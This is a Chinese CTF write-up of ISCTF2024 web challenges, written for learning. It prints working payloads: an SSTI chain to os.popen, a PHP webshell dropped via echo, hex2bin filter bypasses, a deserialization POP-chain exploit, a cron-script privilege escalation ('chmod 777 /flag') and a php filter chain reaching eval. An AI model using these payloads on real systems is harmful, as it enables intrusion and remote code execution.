wp for isctf2024
1.25时晓山瑞希生日会
签到题,考察http请求头相关知识,首先修改user-agent为Project Sekai,再修改X-Forwarded-For为127.0.0.1,最后设置时间为Date: Sun, 27 Aug 2024 05:00:00 GMT。
2.小蓝鲨的冒险
签到题,考察php各种特性。先利用@parse_str($b);语句,传入b=a[0]=MMHUWUV满足第一个条件。再post将num设为03750(8进制2024)。最后设定which为flag即可。
3.ezssti
PYssti,对于我来说算是新题。这里直接给出payload
user_input={{''|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|
attr(request.values.name4)(137)|attr (request.values.name5)|attr(request.values.name6)|
attr(request.values.name7)('popen')(request.values.rce)|attr(request.values.name8)()}}
&name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=__init__
&name6=__globals__&name7=get&rce=cat /flag&name8=read
利用|attr(request.values.namex)的形式绕过_和[]的过滤,利用__class__.__base__来获取字符串类的基类,再用__subclasses__来获取其子类,在里边找到可以利用的类,这里是os._wrap_close类,用pop给他弹出来(拿到),然后得到他的globals属性用popen执行rce,再read出来。
4.UP!UPloader!
文件包含题,上传一个马来rce就行。难点(当然,对于我而言😴)在于想到通过include.php中包含文件的机制,通过phpfilter伪协议来获取其他php的源码,只要获得源码,就能知晓其文件上传的。拿到shell之后还要点经验,因为flag不是存在文件里的,而是存在环境里的,要用env命令调出来。
两个考点:
- 灵活运用各种伪代码,不能太套路化
- 找不到东西?上环境看看吧。(有时候robots.txt也是个不错的选择)
经验丰富的重要性就体现出来了,所以要多多做题呀。
5.1z_php
rce题(说真的,几乎每题都是rce了)。源码给了,过滤了[‘cat’, ‘tac’, ‘head’, ‘nl’, ‘more’, ‘less’, ‘tail’, ‘vi’, ‘sed’, ‘od’]这些个命令。只要J=echo ‘<?php @system($_GET[“x”]); ?>‘ > a.php就可以打一个马进去,然后就好办了。
不过也可以用其他一些读文件的命令,详细参考这里.
其实这样更快呢,可能rce题做的多了,就一直rce了…
6.ezserialize
没难度的反序列化(反序列化算是基础题了吧😋),直接给pl罢。
O:4:"User":2:{s:8:"username";s:3:"tre";s:7:"isAdmin";b:1;}
7.ezrce
rce题。可惜的是刚刚我去尝试复现,结果发现啥命令都没回显了(各种wp都试了试,大概是环境已经关闭了🥲)。这里给出我印象里的pl:
cmd=(sy.(st).em)(hex2bin("636174202f666c6167")) //这里的hex是“cat /flag”
利用.连接system,用hex2bin函数来绕过各种过滤。其实这么一想,不如把system也扔到hex2bin里更好。
hex2bin真的超级好用啊,只要这个函数没有被过滤,基本上就是啥都能用🤗
8.小蓝鲨的秘密
不好定性的题目,我觉得更像misc了(缘分到了自然而然就出了)。进靶机,结果直接到了小蓝鲨科技的官网去了,那大概是重定向了,现在得把靶机本身的url扒出来。在竞赛平台f12,检查元素获得url,拿burp抓个包,repeater给服务器发请求,响应包里就是flag。
感觉比起其他很多题,这题技术含量真的不大,但是过的人没有那么多,感觉明年hgame-mini也可以出这么一道,至少很有趣呀。
也是拿了个二血,开心开心~🤗
9.天命人
反序列化题。本来还算常规的一道题,因为中文的缘故卡了好久(真正原因不太明了,大概是编码的问题,这题报错又没回显)
以下是源码:
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;
function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>
以下是exp:
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu;
public $zhi;
public $shan;
function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J']; //0e215962017
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing; //触发wuzhishan
}
}
class Dinghaishenzhen{
public $Jindou;
public $yun;
function __toString()
{
$f=$this->yun;
$f(); // 可以触发huoyanjinjing
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo '迷途中的羔羊,你相信天命吗?<br>';
echo $this->tianming;
}
}
$a = New Tianmingren();
$b = new Wuzhishan();
$c = new Huoyanjinjing();
$d = new Dinghaishenzhen();
$a->ren = $d;
$a->tianming = $a->ren;
$d->yun = $c;
$c->huoyan = $b;
echo urlencode(serialize($a));
?>
注意要把源码里的中文字符串赋值语句删掉,否则会卡在第一个链节。
以下是pl:
O%3A11%3A%22Tianmingren%22%3A2%3A%7Bs%3A8%3A%22tianming%22%3BO%3A15%3A%22Dinghaishenzhen%22%3A2%3A%7Bs%3A6%3A%22Jindou%22%3BN%3Bs%3A3%3A%22yun%22%3BO%3A13%3A%22Huoyanjinjing%22%3A2%3A%7Bs%3A6%3A%22huoyan%22%3BO%3A9%3A%22Wuzhishan%22%3A3%3A%7Bs%3A2%3A%22wu%22%3BN%3Bs%3A3%3A%22zhi%22%3BN%3Bs%3A4%3A%22shan%22%3BN%3B%7Ds%3A7%3A%22jinjing%22%3BN%3B%7D%7Ds%3A3%3A%22ren%22%3Br%3A2%3B%7D
10.小蓝鲨的临时存储室
rce题,于我而言也是认识linux很多东西的好题一道。打个马很容易,但是进了靶机文件目录,准备cat flag的时候才发现不成,一看权限,只有root可读可改,那其实这题给我误导到提权好久,感谢mufeng05大佬的指导,才知道没那么麻烦🫡
最主要是要意识到这个定时发生的sh(所以web手要对一些动态的反应敏感些呢),它会定时删去我们上传的php文件,所以我们把马打进去运行shell的时候,经常会出现404,这就是这个.sh文件搞的鬼。当然,我们也可以利用它。它就在根目录里:
#!/bin/bash find /var/www/localhost/htdocs/uploads/ -type f -name "*.php" -exec rm -f {} \;
执行ls -l /down_file.sh,发现我们对他是有修改权限的。从内容看到它是使用bin/bash的,具有root权限,那么我们就可以追加修改/flag的权限了.
最后的pl如下:
x=echo "chmod 777 /flag;" >>/down_file.sh
然后就畅通无阻啦~
11.千年樱
php综合题(是我这次做的题里感觉含金量比较高的了)。首先是cookie伪造,比较常规.
源码:
<?php
include "dir.php";
highlight_file(__FILE__);
echo "proof of work<br>";
if($_COOKIE['from'] === "ISCTF"){
echo $dir1;
}
else{
die('what? so where are you from?');
}
// <!-- do you want to learn more? goto story.txt -->
?>
只要令cookie:from=ISCTF就可以,得到下一个问题的php:
<!DOCTYPE html>
<html>
<head>
<title>read! read! read!</title>
</head>
<body style="background: '/static/bg1.png' ">
<?php
include "dir.php";
highlight_file(__FILE__);
if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}
?>
</body>
</html>
这里要一个ISCTF,却是要由file_get_contents获取,那么第一时间就会想到用伪协议搞点事情,刚好data伪协议可以做到造一个字符串出来,那么这里的pl就是这样的了:
name=data://text/plain,ISCTF
来到最后一个问题,源码如下:
<!DOCTYPE html>
<html>
<head>
<title>read! read! read! we need read!!!</title>
</head>
<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
<?php
include "dir.php";
highlight_file(__FILE__);
function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}
if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
} //well_down_mlpnkobji.php
?>
</body>
</html>
这下好了,我们的输入只能限制于php filter协议里的过滤器了。这个时候就要用到神奇的phpfilter链哩~
这个神奇的链子的知识准备在另一篇笔记里写,这里就带过啦
我们可以用神奇的php_filter_chain_generator工具构造filter链:
python php_filter_chain_generator.py --chain sakura for ISCTF<?php
特别注意这个<?php,这是因为我们的工具构造链所得出的字符串除了目标字符串还会有很多冗余(垃圾数据),而php fileter中有一个过滤器:string.strip_tags,它可以删去字符串中html和php标签,也就是说,我们只要在生成的链子末尾加上这个过滤器,就可以把后边的冗余全部删去,得到的字符串就非常纯净了。
这里要感谢mysid佬和mufeng05佬~
最后的一点点想法
ISCTF只有一周的时间,但确实是学到了很多东西啊,ctf果然是得积累好多经验,知识面也是广的离谱,总之之后的路大概还挺长的。
但它真的会上瘾啊!ctf,嘿嘿,我的ctf,我的web,斯哈斯哈🤪